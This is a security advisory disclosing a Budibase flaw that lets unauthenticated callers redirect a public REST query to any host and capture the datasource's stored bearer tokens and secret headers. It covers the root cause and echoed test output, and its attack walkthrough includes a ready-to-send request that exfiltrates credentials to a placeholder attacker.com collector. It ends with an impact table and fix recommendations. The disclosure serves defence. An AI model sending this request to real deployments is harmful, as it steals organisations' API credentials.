GHSA-mqhr-6j6h-74p5

## Summary Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied `{{ parameter }}`), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (`--secret-value--`) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).

## Root Cause `packages/server/src/integrations/rest.ts`: `_req()` builds `authHeaders = getAuthHeaders(...)` from the stored auth configs and merges them with `config.defaultHeaders` into every request, before the URL is resolved. `getUrl()`: if the (parameter-enriched) query `path` starts with `http`, the datasource base URL is ignored and `path` becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route `POST /api/v2/queries/:queryId` runs under `authorized(QUERY, WRITE)`; a query published at role PUBLIC is executable with no session.

### Actual output of Line 4 (the leaked credential) The anonymous request returns HTTP 200; the outbound `headers` echoed by `postman-echo.com` contain the datasource's stored, otherwise-masked credentials: ```json {"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150"}}]} ``` `authorization: Bearer UNAUTH_LEAK_TOKEN_5150` and `x-static-secret: STATIC_HDR_LEAK_4242` were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs.

## Full Real-World Attack ``` 1. A builder has a REST datasource with stored auth (Bearer/API key) and a query whose path uses a parameter, published at PUBLIC (customer-facing app). 2. The attacker needs no account. They read the published app id + query id from the published app, then send ONE request: POST /api/v2/queries/<queryId> x-budibase-app-id: <prodAppId> {"parameters":{"t":"https://attacker.com/collect"}} 3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com. 4. attacker.com logs the header => the datasource's secret token. 5. The attacker calls the third-party API directly as the victim organisation. ```

## Impact | Who / what is affected | How | |---|---| | Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated | | The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) | | Unauthenticated attackers | One request, no login, no CSRF, no user interaction | | The credential-masking control | Fully defeated - masked secrets recovered in cleartext |

## Recommended Fix 1. Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution. 2. Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings. 3. Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.
